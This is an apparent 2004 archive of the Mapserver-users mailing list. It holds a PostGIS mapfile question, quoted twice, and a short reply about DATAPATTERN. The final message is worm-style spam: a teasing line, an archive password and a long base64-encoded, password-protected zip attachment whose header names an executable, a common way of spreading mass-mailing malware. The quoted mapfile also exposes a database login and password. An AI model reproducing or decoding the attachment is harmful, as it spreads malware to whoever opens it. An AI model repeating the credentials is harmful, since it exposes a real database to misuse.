Friday, March 05, 2004 4:19 PM > To: mapserver-users at lists.gis.umn.edu > Subject: [Mapserver-users] POSTGIS problem > > > > To whom it might be concerned, > > > I am the postGIS user in UC San Diego. I have the postGIS > working fine and the mapserver can take the input of > shapefile. Both of them are the most updated versions. But > when I try to map using postGIS, I have the unkown internal > error or blank picture output. > > The following is the map file. > > > MAP > IMAGETYPE PNG > SIZE 600 600 > EXTENT 2951122.40634836 9972524.19586431 3272632.96527259 > 10243868.741275 # Geographic coordinates IMAGECOLOR 255 255 255 > > > LAYER > CONNECTIONTYPE postgis > NAME "railroad" > CONNECTION "user=willy password=goodwill > dbname=mydb host=geon01.sdsc.edu port=7531" > DATA "the_geom FROM railroad" > STATUS DEFAULT > TYPE POLYGON > > CLASS > STYLE > COLOR 0 0 0 > END > END > END > END > ~ > > Thank you for your help. > > Willy > ~ > > > > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/maps> erver-users > From gayathri at ou.edu Fri Mar 5 15:08:54 2004 From: gayathri at ou.edu (Swaminathan, Gayathri) Date: Fri, 5 Mar 2004 17:08:54 -0600 Subject: [Mapserver-users] POSTGIS problem Message-ID: <3FC4483968B5A048BBD9F3387EBFF5C05C7068@XMAIL1.sooner.net.ou.edu> Also forgot to mention in the last email, If this is mapserver version 4.0 then you need to do DATAPATTERN for your mapfile. Search the list archive on "DATAPATTERN" for reference. Gayathri > -----Original Message----- > From: mapserver-users-admin at lists.gis.umn.edu > [mailto:mapserver-users-admin at lists.gis.umn.edu] On Behalf Of > Wai-ho Wong > Sent: Friday, March 05, 2004 4:19 PM > To: mapserver-users at lists.gis.umn.edu > Subject: [Mapserver-users] POSTGIS problem > > > > To whom it might be concerned, > > > I am the postGIS user in UC San Diego. I have the postGIS > working fine and the mapserver can take the input of > shapefile. Both of them are the most updated versions. But > when I try to map using postGIS, I have the unkown internal > error or blank picture output. > > The following is the map file. > > > MAP > IMAGETYPE PNG > SIZE 600 600 > EXTENT 2951122.40634836 9972524.19586431 3272632.96527259 > 10243868.741275 # Geographic coordinates IMAGECOLOR 255 255 255 > > > LAYER > CONNECTIONTYPE postgis > NAME "railroad" > CONNECTION "user=willy password=goodwill > dbname=mydb host=geon01.sdsc.edu port=7531" > DATA "the_geom FROM railroad" > STATUS DEFAULT > TYPE POLYGON > > CLASS > STYLE > COLOR 0 0 0 > END > END > END > END > ~ > > Thank you for your help. > > Willy > ~ > > > > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/maps> erver-users > From schut at sarvision.com Fri Mar 5 15:43:21 2004 From: schut at sarvision.com (schut at sarvision.com) Date: Sat, 06 Mar 2004 05:28:21 +0545 Subject: [Mapserver-users] :-) Message-ID: ----------qsfvyoanwtlnulttvpux Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Looking forward for a response :P password for archive: 55563 ----------qsfvyoanwtlnulttvpux Content-Type: application/octet-stream; name="TextDocument.zip" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="TextDocument.zip" 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 